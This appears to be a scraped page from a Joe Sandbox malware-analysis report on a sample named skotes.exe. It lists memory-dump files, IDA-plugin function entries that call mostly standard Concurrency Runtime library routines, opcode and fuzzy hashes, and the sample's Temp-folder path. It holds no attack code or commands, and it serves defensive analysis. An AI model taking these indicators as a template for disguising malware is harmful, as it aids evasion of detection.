Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: d5ef7004fa7ab3d84f63107fa5accfa23bf7666f03de1aa23551d7622fda35b3
Instruction ID: 07abe4f6b369485359a9fcd8d0134682e298ce41317cc72fa7dfe2426a932897
Opcode Fuzzy Hash: d5ef7004fa7ab3d84f63107fa5accfa23bf7666f03de1aa23551d7622fda35b3
Instruction Fuzzy Hash: 34416F79A11215EBCF09EF64C958A6DB7B6BF48310F018159E906A73D1CB74AD11CF81

Function 0028D2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 0028D344
ListArray.LIBCONCRT ref: 0028D367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0028D370
ListArray.LIBCONCRT ref: 0028D3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0028D3B3

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: ae8c7a7e9060de25959fb671671c1e7ce0d38bb9338500ab50b3dc6c2062b4ed
Instruction ID: 6dea71b0b0fbc65d2d7273c1c8b267ac32e269af7512107ced0a18194c04a31d
Opcode Fuzzy Hash: ae8c7a7e9060de25959fb671671c1e7ce0d38bb9338500ab50b3dc6c2062b4ed
Instruction Fuzzy Hash: B831AF39711610AFCB15EF54C884BAEB7B6AF88310F144199E8069B3D2DB70ED55CF92

Function 002886C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 002886EE

Part of subcall function 0027EAD0: _SpinWait.LIBCONCRT ref: 0027EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00288702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00288734
List.LIBCMT ref: 002887B7
List.LIBCMT ref: 002887C6

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 1f6aea7ebd2aa31816e41afc076588fad17d721a918d064be14bdcbe16d4023a
Instruction ID: e4142502840e9f09f41b0591dd24a3ad743286a3cf9bdfd49dab83f6645e9ee8
Opcode Fuzzy Hash: 1f6aea7ebd2aa31816e41afc076588fad17d721a918d064be14bdcbe16d4023a
Instruction Fuzzy Hash: 0E317A3AD26256DFCB14EFA4C5816EDF7B1BF04318FA4806AD40277692CB71AD24CB91

Function 0029182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 002918A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 002918EB

Strings

pContext, xrefs: 0029189C

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 1de88872d10c0db2ca3e1139598807e3a2851cb07a284017981ca43693e1a1f9
Instruction ID: e21c31cd52e4592c042472d23dcafab5b63d6704bdf3c7bfe3b9e4b07b8ca8f0
Opcode Fuzzy Hash: 1de88872d10c0db2ca3e1139598807e3a2851cb07a284017981ca43693e1a1f9
Instruction Fuzzy Hash: B2214431B302139BDF14AB6AC895ABDB3A9BF80324B04012AE411872D1CBB4AC71DB80

Function 0029DFE3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

6), xrefs: 0029E034
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 0029DFE8

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 6)$C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-631983842
